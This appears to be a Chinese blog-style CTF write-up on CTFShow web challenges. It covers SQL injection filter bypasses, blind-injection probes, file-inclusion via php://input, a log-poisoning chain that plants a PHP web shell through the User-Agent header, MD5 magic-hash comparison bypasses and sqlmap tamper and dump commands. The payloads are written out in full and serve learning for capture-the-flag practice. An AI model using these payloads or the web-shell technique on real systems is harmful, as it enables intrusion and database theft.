CTFShow Web题避坑指南:那些年我踩过的SQL注入、文件包含和代码审计的坑

📅 2026/7/3 3:32:15 👁️ 阅读次数 📝 编程学习
CTFShow Web题避坑指南:那些年我踩过的SQL注入、文件包含和代码审计的坑

CTFShow Web题避坑指南:那些年我踩过的SQL注入、文件包含和代码审计的坑

第一次参加CTF比赛时,面对Web题目总是手忙脚乱。记得有一次在SQL注入题上卡了整整三小时,最后发现只是少了个单引号。这种经历让我意识到,Web安全实战中那些看似简单的"坑",往往最能考验我们的基本功和思维灵活性。

1. SQL注入:从基础绕过到高级技巧

1.1 过滤空格的替代方案

在CTFShow的web6和web8题目中,空格过滤是最常见的障碍。很多人第一反应是尝试URL编码%20,但实际比赛中更有效的解决方案是:

  • 使用注释符/**/替代空格(如union/**/select
  • 用括号包裹语句(如union(select(1),2,3)
  • 特殊字符替代:%09(水平制表符)、%0a(换行符)
-- 典型payload示例 1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

1.2 布尔盲注的优化策略

当遇到无回显的盲注时,新手常犯的错误是逐字符爆破。更高效的做法是:

  1. 先确定关键长度:
    and length(database())=4
  2. 使用二分法缩小范围:
    and ascii(substr(database(),1,1))>100
  3. 结合位运算加速判断:
    and (ascii(substr(database(),1,1))>>1)&1=1

提示:在CTFShow的web2中,善用order by判断字段数能节省大量时间

2. 文件包含:伪协议的妙用与陷阱

2.1 php://input的实战要点

web3和web4展示了文件包含的典型场景。使用php://input时要注意:

  • 必须使用POST方法提交数据
  • 需要开启allow_url_include配置
  • 实际案例中的典型步骤:
POST /index.php?url=php://input HTTP/1.1 [...] <?php system('ls'); ?>

2.2 日志注入的完整链条

web4的日志注入是经典案例,完整攻击流程包括:

  1. 确认日志路径(如/var/log/nginx/access.log
  2. 注入恶意代码到User-Agent:
    GET / HTTP/1.1 User-Agent: <?php system($_GET['cmd']);?>
  3. 包含日志文件执行代码:
    ?url=/var/log/nginx/access.log&cmd=ls

常见错误:

  • 未考虑日志轮转问题
  • 权限不足无法读取日志
  • 特殊字符被转义处理

3. 代码审计:从MD5碰撞到类型判断

3.1 MD5弱类型比较的魔法值

web5的解题关键在于理解PHP的类型转换。这些特殊字符串值得收藏:

字符串MD5哈希值
QNKCDZO0e830400451993494058...
2406107080e462097431906509019...
s878926199a0e545993274517709034...

绕过逻辑:

if(md5($v1)==md5($v2)) // 使用0e开头的魔法值

3.2 ctype_alpha与is_numeric的对抗

web5还涉及类型判断函数的绕过:

  • ctype_alpha():只接受纯字母
  • is_numeric():识别数字和字符串形式的数字

实战技巧:

  • 对于ctype_alpha,直接使用纯字母字符串
  • 对于is_numeric,可以使用:
    • 十六进制格式(如0xDEADBEEF
    • 科学计数法(如123e45
    • 前导/后导空格的字符串(如123

4. 工具链:sqlmap的高级配置

4.1 tamper脚本的实战应用

web7展示了sqlmap的tamper脚本用法。常用脚本对比:

脚本名称功能描述适用场景
space2comment空格转注释/**/过滤空格的场景
between用NOT 0 BETWEEN替换大于号比较运算符过滤
charencodeURL编码关键字符特殊字符过滤
randomcomments插入随机注释混淆检测

典型命令:

sqlmap -u "http://example.com?id=1" --tamper=space2comment --batch -D dbname -T tablename --dump

4.2 布尔盲注的自动化技巧

当面对基于时间的盲注时,可以组合使用:

--technique=T --time-sec=2 --level=5

关键参数:

  • --threads:设置并发线程数(建议不超过10)
  • --predict-output:预测输出模式加速检测
  • --hex:以十六进制格式获取数据

在CTFShow的web8中,布尔盲注结合--string参数可以快速定位有效特征:

--string="Welcome back" --not-string="Error"